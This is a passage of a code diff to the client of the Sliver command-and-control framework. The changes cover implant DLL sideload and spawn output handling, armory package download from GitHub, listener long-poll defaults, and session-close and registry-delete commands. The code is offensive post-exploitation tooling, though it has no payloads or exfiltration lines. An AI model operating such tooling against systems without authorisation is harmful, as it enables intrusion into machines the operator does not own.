PrintSpawnDLLOutput(ctx.Command.Name, spawnDllResp, outFilePath, con)
|
||||
}
|
||||
|
||||
} else {
|
||||
|
||||
// Sideload
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
@@ -340,20 +384,54 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("Output:\n%s", sideloadResp.GetResult())
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write([]byte(sideloadResp.GetResult()))
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
if sideloadResp.Response != nil && sideloadResp.Response.Async {
|
||||
con.AddBeaconCallback(sideloadResp.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, sideloadResp)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode call ext response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintSideloadOutput(ctx.Command.Name, sideloadResp, outFilePath, con)
|
||||
})
|
||||
con.PrintAsyncResponse(sideloadResp.Response)
|
||||
} else {
|
||||
PrintSideloadOutput(ctx.Command.Name, sideloadResp, outFilePath, con)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// PrintSpawnDLLOutput - Prints the output of a spawn dll command
|
||||
func PrintSpawnDLLOutput(cmdName string, spawnDllResp *sliverpb.SpawnDll, outFilePath *os.File, con *console.SliverConsoleClient) {
|
||||
con.PrintInfof("%s output:\n%s", cmdName, spawnDllResp.GetResult())
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write([]byte(spawnDllResp.GetResult()))
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
}
|
||||
|
||||
// PrintSideloadOutput - Prints the output of a sideload command
|
||||
func PrintSideloadOutput(cmdName string, sideloadResp *sliverpb.Sideload, outFilePath *os.File, con *console.SliverConsoleClient) {
|
||||
con.PrintInfof("%s output:\n%s", cmdName, sideloadResp.GetResult())
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write([]byte(sideloadResp.GetResult()))
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
}
|
||||
|
||||
// PrintAssemblyOutput - Prints the output of an execute-assembly command
|
||||
func PrintAssemblyOutput(cmdName string, execAsmResp *sliverpb.ExecuteAssembly, outFilePath *os.File, con *console.SliverConsoleClient) {
|
||||
con.PrintInfof("%s output:\n%s", cmdName, string(execAsmResp.GetOutput()))
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write(execAsmResp.GetOutput())
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
}
|
||||
|
||||
func cmdExists(name string, app *grumble.App) bool {
|
||||
for _, c := range app.Commands().All() {
|
||||
if name == c.Name {
|
||||
|
||||
@@ -35,6 +35,7 @@ import (
|
||||
"github.com/bishopfox/sliver/server/cryptography/minisign"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"golang.org/x/term"
|
||||
)
|
||||
|
||||
type ArmoryIndex struct {
|
||||
@@ -102,7 +103,7 @@ func ArmoryCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
indexCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry := value.(indexCacheEntry)
|
||||
if cacheEntry.LastErr != nil {
|
||||
con.PrintErrorf("%s: %s\n", cacheEntry.RepoURL, cacheEntry.LastErr)
|
||||
con.PrintErrorf("%s - %s\n", cacheEntry.RepoURL, cacheEntry.LastErr)
|
||||
}
|
||||
return true
|
||||
})
|
||||
@@ -123,7 +124,7 @@ func ArmoryCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if errorCount == 0 {
|
||||
con.Printf("errors!\n")
|
||||
}
|
||||
con.PrintErrorf("%s: %s\n", cacheEntry.RepoURL, cacheEntry.LastErr)
|
||||
con.PrintErrorf("%s - %s\n", cacheEntry.RepoURL, cacheEntry.LastErr)
|
||||
} else {
|
||||
if cacheEntry.Pkg.IsAlias {
|
||||
aliases = append(aliases, cacheEntry.Alias)
|
||||
@@ -193,14 +194,14 @@ func AliasExtensionOrBundleCompleter(prefix string, args []string, con *console.
|
||||
results := []string{}
|
||||
aliases, exts := packagesInCache()
|
||||
bundles := bundlesInCache()
|
||||
for _, alias := range aliases {
|
||||
if strings.HasPrefix(alias.CommandName, prefix) {
|
||||
results = append(results, alias.CommandName)
|
||||
for _, aliasPkg := range aliases {
|
||||
if strings.HasPrefix(aliasPkg.CommandName, prefix) {
|
||||
results = append(results, aliasPkg.CommandName)
|
||||
}
|
||||
}
|
||||
for _, extension := range exts {
|
||||
if strings.HasPrefix(extension.CommandName, prefix) {
|
||||
results = append(results, extension.CommandName)
|
||||
for _, extensionPkg := range exts {
|
||||
if strings.HasPrefix(extensionPkg.CommandName, prefix) {
|
||||
results = append(results, extensionPkg.CommandName)
|
||||
}
|
||||
}
|
||||
for _, bundle := range bundles {
|
||||
@@ -213,6 +214,38 @@ func AliasExtensionOrBundleCompleter(prefix string, args []string, con *console.
|
||||
|
||||
// PrintArmoryPackages - Prints the armory packages
|
||||
func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.ExtensionManifest, con *console.SliverConsoleClient) {
|
||||
width, _, err := term.GetSize(0)
|
||||
if err != nil {
|
||||
width = 999
|
||||
}
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.SetTitle(console.Bold + "Packages" + console.Normal)
|
||||
|
||||
minWidth := 150
|
||||
if minWidth < width {
|
||||
tw.AppendHeader(table.Row{
|
||||
"Command Name",
|
||||
"Version",
|
||||
"Type",
|
||||
"Help",
|
||||
"URL",
|
||||
})
|
||||
} else {
|
||||
tw.AppendHeader(table.Row{
|
||||
"Command Name",
|
||||
"Version",
|
||||
"Type",
|
||||
"Help",
|
||||
})
|
||||
}
|
||||
|
||||
// Columns start at 1 for some dumb reason
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Number: 1, Mode: table.Asc},
|
||||
})
|
||||
|
||||
type pkgInfo struct {
|
||||
CommandName string
|
||||
Version string
|
||||
@@ -221,13 +254,13 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
|
||||
URL string
|
||||
}
|
||||
entries := []pkgInfo{}
|
||||
for _, alias := range aliases {
|
||||
for _, aliasPkg := range aliases {
|
||||
entries = append(entries, pkgInfo{
|
||||
CommandName: alias.CommandName,
|
||||
Version: alias.Version,
|
||||
CommandName: aliasPkg.CommandName,
|
||||
Version: aliasPkg.Version,
|
||||
Type: "Alias",
|
||||
Help: alias.Help,
|
||||
URL: alias.RepoURL,
|
||||
Help: aliasPkg.Help,
|
||||
URL: aliasPkg.RepoURL,
|
||||
})
|
||||
}
|
||||
for _, extension := range exts {
|
||||
@@ -240,34 +273,30 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
|
||||
})
|
||||
}
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.SetTitle(console.Bold + "Packages" + console.Normal)
|
||||
tw.AppendHeader(table.Row{
|
||||
"Command Name",
|
||||
"Version",
|
||||
"Type",
|
||||
"Help",
|
||||
"URL",
|
||||
})
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Name: "Command Name", Mode: table.Asc},
|
||||
})
|
||||
|
||||
rows := []table.Row{}
|
||||
for _, pkg := range entries {
|
||||
color := console.Normal
|
||||
if extensions.CmdExists(pkg.CommandName, con.App) {
|
||||
color = console.Green
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Help),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.URL),
|
||||
})
|
||||
if minWidth < width {
|
||||
rows = append(rows, table.Row{
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Help),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.URL),
|
||||
})
|
||||
} else {
|
||||
rows = append(rows, table.Row{
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Help),
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
tw.AppendRows(rows)
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
|
||||
@@ -359,7 +388,7 @@ func fetchIndex(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig
|
||||
return
|
||||
}
|
||||
if repoURL.Scheme != "https" && repoURL.Scheme != "http" {
|
||||
armoryResult.LastErr = errors.New("invalid URL scheme")
|
||||
armoryResult.LastErr = errors.New("invalid repo url scheme in index")
|
||||
return
|
||||
}
|
||||
|
||||
@@ -372,7 +401,9 @@ func fetchIndex(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig
|
||||
if index != nil {
|
||||
armoryResult.Index = *index
|
||||
}
|
||||
armoryResult.LastErr = err
|
||||
if err != nil {
|
||||
armoryResult.LastErr = fmt.Errorf("failed to parse armory index: %s", err)
|
||||
}
|
||||
}
|
||||
|
||||
func fetchPackageSignatures(indexes []ArmoryIndex, clientConfig ArmoryHTTPConfig) {
|
||||
@@ -410,11 +441,11 @@ func fetchPackageSignature(wg *sync.WaitGroup, armoryPkg *ArmoryPackage, clientC
|
||||
|
||||
repoURL, err := url.Parse(armoryPkg.RepoURL)
|
||||
if err != nil {
|
||||
pkgCacheEntry.LastErr = err
|
||||
pkgCacheEntry.LastErr = fmt.Errorf("failed to parse repo url: %s", err)
|
||||
return
|
||||
}
|
||||
if repoURL.Scheme != "https" && repoURL.Scheme != "http" {
|
||||
pkgCacheEntry.LastErr = errors.New("invalid URL scheme")
|
||||
pkgCacheEntry.LastErr = errors.New("invalid repo url scheme in pkg")
|
||||
return
|
||||
}
|
||||
|
||||
@@ -425,7 +456,7 @@ func fetchPackageSignature(wg *sync.WaitGroup, armoryPkg *ArmoryPackage, clientC
|
||||
sig, _, err = DefaultArmoryPkgParser(armoryPkg, true, clientConfig)
|
||||
}
|
||||
if err != nil {
|
||||
pkgCacheEntry.LastErr = err
|
||||
pkgCacheEntry.LastErr = fmt.Errorf("failed to parse pkg manifest: %s", err)
|
||||
return
|
||||
}
|
||||
if sig != nil {
|
||||
@@ -440,7 +471,7 @@ func fetchPackageSignature(wg *sync.WaitGroup, armoryPkg *ArmoryPackage, clientC
|
||||
if err == nil {
|
||||
manifestData, err := base64.StdEncoding.DecodeString(sig.TrustedComment)
|
||||
if err != nil {
|
||||
pkgCacheEntry.LastErr = err
|
||||
pkgCacheEntry.LastErr = fmt.Errorf("failed to b64 decode trusted comment: %s", err)
|
||||
return
|
||||
}
|
||||
if armoryPkg.IsAlias {
|
||||
@@ -448,6 +479,8 @@ func fetchPackageSignature(wg *sync.WaitGroup, armoryPkg *ArmoryPackage, clientC
|
||||
} else {
|
||||
pkgCacheEntry.Extension, err = extensions.ParseExtensionManifest(manifestData)
|
||||
}
|
||||
pkgCacheEntry.LastErr = err
|
||||
if err != nil {
|
||||
pkgCacheEntry.LastErr = fmt.Errorf("failed to parse trusted manifest in pkg signature: %s", err)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -20,7 +20,6 @@ package armory
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"net/url"
|
||||
"os"
|
||||
@@ -64,7 +63,7 @@ func ArmoryInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
func installBundle(bundle *ArmoryBundle, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
|
||||
for _, pkgName := range bundle.Packages {
|
||||
err := installExtensionPackageByName(pkgName, clientConfig, con)
|
||||
err := installPackageByName(pkgName, clientConfig, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to install '%s': %s", pkgName, err)
|
||||
}
|
||||
@@ -114,6 +113,8 @@ func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *
|
||||
return err
|
||||
}
|
||||
|
||||
con.PrintInfof("Downloading alias ...")
|
||||
|
||||
var sig *minisign.Signature
|
||||
var tarGz []byte
|
||||
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
|
||||
@@ -144,6 +145,8 @@ func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *
|
||||
}
|
||||
tmpFile.Close()
|
||||
|
||||
con.Printf(console.Clearln + "\r") // Clear the line
|
||||
|
||||
installPath := alias.InstallFromFile(tmpFile.Name(), true, con)
|
||||
if installPath == nil {
|
||||
return errors.New("failed to install alias")
|
||||
@@ -228,6 +231,8 @@ func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, c
|
||||
return err
|
||||
}
|
||||
|
||||
con.PrintInfof("Downloading extension ...")
|
||||
|
||||
var sig *minisign.Signature
|
||||
var tarGz []byte
|
||||
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
|
||||
@@ -256,7 +261,12 @@ func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, c
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
tmpFile.Close()
|
||||
err = tmpFile.Sync()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
con.Printf(console.Clearln + "\r") // Clear download message
|
||||
|
||||
installPath := extensions.InstallFromFilePath(tmpFile.Name(), true, con)
|
||||
if installPath == nil {
|
||||
@@ -266,10 +276,8 @@ func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, c
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// do not add if the command already exists
|
||||
if extensions.CmdExists(extCmd.Name, con.App) {
|
||||
return fmt.Errorf("%s command already exists", extCmd.Name)
|
||||
con.App.Commands().Remove(extCmd.Name)
|
||||
}
|
||||
extensions.ExtensionRegisterCommand(extCmd, con)
|
||||
return nil
|
||||
|
||||
@@ -28,6 +28,8 @@ import (
|
||||
"net"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"path"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/server/cryptography/minisign"
|
||||
@@ -41,10 +43,11 @@ type ArmoryPackageParser func(*ArmoryPackage, bool, ArmoryHTTPConfig) (*minisign
|
||||
|
||||
var (
|
||||
indexParsers = map[string]ArmoryIndexParser{
|
||||
"api.github.com": GithubArmoryIndexParser,
|
||||
"api.github.com": GithubAPIArmoryIndexParser,
|
||||
}
|
||||
pkgParsers = map[string]ArmoryPackageParser{
|
||||
"api.github.com": GithubArmoryPackageParser,
|
||||
"api.github.com": GithubAPIArmoryPackageParser,
|
||||
"github.com": GithubArmoryPackageParser,
|
||||
}
|
||||
)
|
||||
|
||||
@@ -63,6 +66,10 @@ type armoryPkgResponse struct {
|
||||
TarGzURL string `json:"tar_gz_url"`
|
||||
}
|
||||
|
||||
//
|
||||
// Default Parsers for Self-Hosted Armories
|
||||
//
|
||||
|
||||
// DefaultArmoryParser - Parse the armory index directly from the url
|
||||
func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) (*ArmoryIndex, error) {
|
||||
var publicKey minisign.PublicKey
|
||||
@@ -163,6 +170,10 @@ func DefaultArmoryPkgParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig
|
||||
return sig, tarGz, nil
|
||||
}
|
||||
|
||||
//
|
||||
// GitHub API Parsers
|
||||
//
|
||||
|
||||
type GithubAsset struct {
|
||||
ID int `json:"id"`
|
||||
Name string `json:"name"`
|
||||
@@ -187,8 +198,8 @@ type GithubRelease struct {
|
||||
Assets []GithubAsset `json:"assets"`
|
||||
}
|
||||
|
||||
// GithubArmoryIndexParser - Parse the armory index from a GitHub release
|
||||
func GithubArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) (*ArmoryIndex, error) {
|
||||
// GithubAPIArmoryIndexParser - Parse the armory index from a GitHub release
|
||||
func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) (*ArmoryIndex, error) {
|
||||
var publicKey minisign.PublicKey
|
||||
err := publicKey.UnmarshalText([]byte(armoryConfig.PublicKey))
|
||||
if err != nil {
|
||||
@@ -206,6 +217,9 @@ func GithubArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Arm
|
||||
return nil, err
|
||||
}
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
if resp.StatusCode == http.StatusForbidden {
|
||||
return nil, errors.New("you hit the github api rate limit (60 req/hr), try later")
|
||||
}
|
||||
return nil, errors.New("api returned non-200 status code")
|
||||
}
|
||||
|
||||
@@ -260,8 +274,8 @@ func GithubArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Arm
|
||||
return armoryIndex, nil
|
||||
}
|
||||
|
||||
// GithubArmoryPackageParser - Retrieve the minisig and tar.gz for an armory package from a GitHub release
|
||||
func GithubArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
|
||||
// GithubAPIArmoryPackageParser - Retrieve the minisig and tar.gz for an armory package from a GitHub release
|
||||
func GithubAPIArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
|
||||
var publicKey minisign.PublicKey
|
||||
err := publicKey.UnmarshalText([]byte(armoryPkg.PublicKey))
|
||||
if err != nil {
|
||||
@@ -279,6 +293,9 @@ func GithubArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, clientCon
|
||||
return nil, nil, err
|
||||
}
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
if resp.StatusCode == http.StatusForbidden {
|
||||
return nil, nil, errors.New("you hit the github api rate limit (60 req/hr), try later")
|
||||
}
|
||||
return nil, nil, errors.New("api returned non-200 status code")
|
||||
}
|
||||
|
||||
@@ -325,6 +342,100 @@ func GithubArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, clientCon
|
||||
return sig, tarGz, err
|
||||
}
|
||||
|
||||
//
|
||||
// GitHub Parsers
|
||||
//
|
||||
|
||||
// GithubArmoryPackageParser - Uses github.com instead of api.github.com to download packages
|
||||
func GithubArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
|
||||
latestTag, err := githubLatestTagParser(armoryPkg, clientConfig)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
client := httpClient(clientConfig)
|
||||
|
||||
sigURL, err := url.Parse(armoryPkg.RepoURL)
|
||||
if err != nil {
|
||||
return nil, nil, fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
|
||||
}
|
||||
sigURL.Path = path.Join(sigURL.Path, "releases", "download", latestTag, fmt.Sprintf("%s.minisig", armoryPkg.CommandName))
|
||||
sigResp, err := client.Get(sigURL.String())
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
defer sigResp.Body.Close()
|
||||
if sigResp.StatusCode != http.StatusOK {
|
||||
return nil, nil, fmt.Errorf("failed to get signature for armory pkg '%s': %s", armoryPkg.RepoURL, sigResp.Status)
|
||||
}
|
||||
var body []byte
|
||||
body, err = ioutil.ReadAll(sigResp.Body)
|
||||
if err != nil {
|
||||
return nil, nil, fmt.Errorf("failed to read resp body '%s': %s", armoryPkg.RepoURL, err)
|
||||
}
|
||||
sig, err := parsePkgMinsig(body)
|
||||
if err != nil {
|
||||
return nil, nil, fmt.Errorf("failed to parse pkg sig '%s': %s", armoryPkg.RepoURL, err)
|
||||
}
|
||||
|
||||
var tarGz []byte
|
||||
if !sigOnly {
|
||||
tarGzURL, err := url.Parse(armoryPkg.RepoURL)
|
||||
if err != nil {
|
||||
return nil, nil, fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
|
||||
}
|
||||
tarGzURL.Path = path.Join(tarGzURL.Path, "releases", "download", latestTag, fmt.Sprintf("%s.tar.gz", armoryPkg.CommandName))
|
||||
tarGzResp, err := client.Get(tarGzURL.String())
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
defer tarGzResp.Body.Close()
|
||||
if tarGzResp.StatusCode != http.StatusOK {
|
||||
return nil, nil, fmt.Errorf("failed to get tar.gz for armory pkg '%s': %s", armoryPkg.RepoURL, tarGzResp.Status)
|
||||
}
|
||||
tarGz, err = ioutil.ReadAll(tarGzResp.Body)
|
||||
if err != nil {
|
||||
return nil, nil, fmt.Errorf("failed to read tar.gz body '%s': %s", armoryPkg.RepoURL, err)
|
||||
}
|
||||
}
|
||||
|
||||
return sig, tarGz, nil
|
||||
}
|
||||
|
||||
// We need to intercept the 302 redirect to determine the latest version tag
|
||||
func githubLatestTagParser(armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) (string, error) {
|
||||
client := httpClient(clientConfig)
|
||||
client.CheckRedirect = func(req *http.Request, via []*http.Request) error {
|
||||
return http.ErrUseLastResponse
|
||||
}
|
||||
latestURL, err := url.Parse(armoryPkg.RepoURL)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
|
||||
}
|
||||
latestURL.Path = path.Join(latestURL.Path, "releases", "latest")
|
||||
latestRedirect, err := client.Get(latestURL.String())
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("http get failed armory pkg url '%s': %s", armoryPkg.RepoURL, err)
|
||||
}
|
||||
if latestRedirect.StatusCode != http.StatusFound {
|
||||
return "", fmt.Errorf("unexpected response status (wanted 302) '%s': %s", armoryPkg.RepoURL, latestRedirect.Status)
|
||||
}
|
||||
if latestRedirect.Header.Get("Location") == "" {
|
||||
return "", fmt.Errorf("no location header in response '%s'", armoryPkg.RepoURL)
|
||||
}
|
||||
latestLocationURL, err := url.Parse(latestRedirect.Header.Get("Location"))
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("failed to parse location header '%s'->'%s': %s",
|
||||
armoryPkg.RepoURL, latestRedirect.Header.Get("Location"), err)
|
||||
}
|
||||
pathSegments := strings.Split(latestLocationURL.Path, "/")
|
||||
for index, segment := range pathSegments {
|
||||
if segment == "tag" && index+1 < len(pathSegments) {
|
||||
return pathSegments[index+1], nil
|
||||
}
|
||||
}
|
||||
return "", errors.New("tag not found in location header")
|
||||
}
|
||||
|
||||
func parsePkgMinsig(data []byte) (*minisign.Signature, error) {
|
||||
var sig minisign.Signature
|
||||
err := sig.UnmarshalText(data)
|
||||
@@ -344,6 +455,7 @@ func httpClient(config ArmoryHTTPConfig) *http.Client {
|
||||
Dial: (&net.Dialer{
|
||||
Timeout: config.Timeout,
|
||||
}).Dial,
|
||||
|
||||
Proxy: http.ProxyURL(config.ProxyURL),
|
||||
|
||||
TLSHandshakeTimeout: config.Timeout,
|
||||
|
||||
+72
-13
@@ -107,7 +107,11 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
n++
|
||||
}
|
||||
if 0 < n {
|
||||
con.PrintInfof("Loaded %d alias(es) from disk\n", n)
|
||||
if n == 1 {
|
||||
con.PrintInfof("Loaded %d alias from disk\n", n)
|
||||
} else {
|
||||
con.PrintInfof("Loaded %d aliases from disk\n", n)
|
||||
}
|
||||
}
|
||||
|
||||
// Load Extensions
|
||||
@@ -417,8 +421,8 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("L", "lhost", "", "interface to bind server to")
|
||||
f.Int("l", "lport", generate.DefaultHTTPLPort, "tcp listen port")
|
||||
f.Bool("D", "disable-otp", false, "disable otp authentication")
|
||||
f.String("T", "long-poll-timeout", "1m30s", "server-side long poll timeout")
|
||||
f.String("J", "long-poll-jitter", "30s", "server-side long poll jitter")
|
||||
f.String("T", "long-poll-timeout", "1s", "server-side long poll timeout")
|
||||
f.String("J", "long-poll-jitter", "2s", "server-side long poll jitter")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
f.Bool("p", "persistent", false, "make persistent across restarts")
|
||||
@@ -442,8 +446,8 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("L", "lhost", "", "interface to bind server to")
|
||||
f.Int("l", "lport", generate.DefaultHTTPSLPort, "tcp listen port")
|
||||
f.Bool("D", "disable-otp", false, "disable otp authentication")
|
||||
f.String("T", "long-poll-timeout", "1m30s", "server-side long poll timeout")
|
||||
f.String("J", "long-poll-jitter", "30s", "server-side long poll jitter")
|
||||
f.String("T", "long-poll-timeout", "1s", "server-side long poll timeout")
|
||||
f.String("J", "long-poll-jitter", "2s", "server-side long poll jitter")
|
||||
|
||||
f.String("c", "cert", "", "PEM encoded certificate file")
|
||||
f.String("k", "key", "", "PEM encoded private key file")
|
||||
@@ -466,7 +470,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
Help: "Start a stager listener",
|
||||
LongHelp: help.GetHelpFor([]string{consts.StageListenerStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("p", "profile", "", "Implant profile name to link with the listener")
|
||||
f.String("p", "profile", "", "implant profile name to link with the listener")
|
||||
f.String("u", "url", "", "URL to which the stager will call back to")
|
||||
f.String("c", "cert", "", "path to PEM encoded certificate file (HTTPS only)")
|
||||
f.String("k", "key", "", "path to PEM encoded private key file (HTTPS only)")
|
||||
@@ -506,10 +510,10 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
Help: "Session management",
|
||||
LongHelp: help.GetHelpFor([]string{consts.SessionsStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("i", "interact", "", "interact with a sliver")
|
||||
f.String("k", "kill", "", "Kill the designated session")
|
||||
f.Bool("K", "kill-all", false, "Kill all the sessions")
|
||||
f.Bool("C", "clean", false, "Clean out any sessions marked as [DEAD]")
|
||||
f.String("i", "interact", "", "interact with a session")
|
||||
f.String("k", "kill", "", "kill the designated session")
|
||||
f.Bool("K", "kill-all", false, "kill all the sessions")
|
||||
f.Bool("C", "clean", false, "clean out any sessions marked as [DEAD]")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
@@ -523,7 +527,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
}
|
||||
sessionsCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.PruneStr,
|
||||
Help: "Kill all stale sessions",
|
||||
Help: "Kill all stale/dead sessions",
|
||||
LongHelp: help.GetHelpFor([]string{consts.SessionsStr, consts.PruneStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
|
||||
@@ -602,8 +606,8 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("g", "wg", "", "wg connection strings")
|
||||
f.String("b", "http", "", "http(s) connection strings")
|
||||
f.String("n", "dns", "", "dns connection strings")
|
||||
f.String("p", "named-pipe", "", "named-pipe connection strings")
|
||||
f.String("i", "tcp-pivot", "", "tcp-pivot connection strings")
|
||||
f.String("p", "named-pipe", "", "namedpipe connection strings")
|
||||
f.String("i", "tcp-pivot", "", "tcppivot connection strings")
|
||||
|
||||
f.String("d", "delay", "0s", "delay opening the session (after checkin) for a given period of time")
|
||||
|
||||
@@ -619,6 +623,24 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
}
|
||||
con.App.AddCommand(openSessionCmd)
|
||||
|
||||
// [ Close ] --------------------------------------------------------------
|
||||
closeSessionCmd := &grumble.Command{
|
||||
Name: consts.CloseStr,
|
||||
Help: "Close an interactive session without killing the remote process",
|
||||
LongHelp: help.GetHelpFor([]string{consts.CloseStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
sessions.CloseSessionCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
}
|
||||
con.App.AddCommand(closeSessionCmd)
|
||||
|
||||
// [ Tasks ] --------------------------------------------------------------
|
||||
|
||||
tasksCmd := &grumble.Command{
|
||||
@@ -2272,6 +2294,25 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("o", "hostname", "", "remote host to write values to")
|
||||
},
|
||||
})
|
||||
registryCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.RegistryDeleteKeyStr,
|
||||
Help: "Remove a registry key",
|
||||
LongHelp: help.GetHelpFor([]string{consts.RegistryDeleteKeyStr}),
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("registry-path", "registry path")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
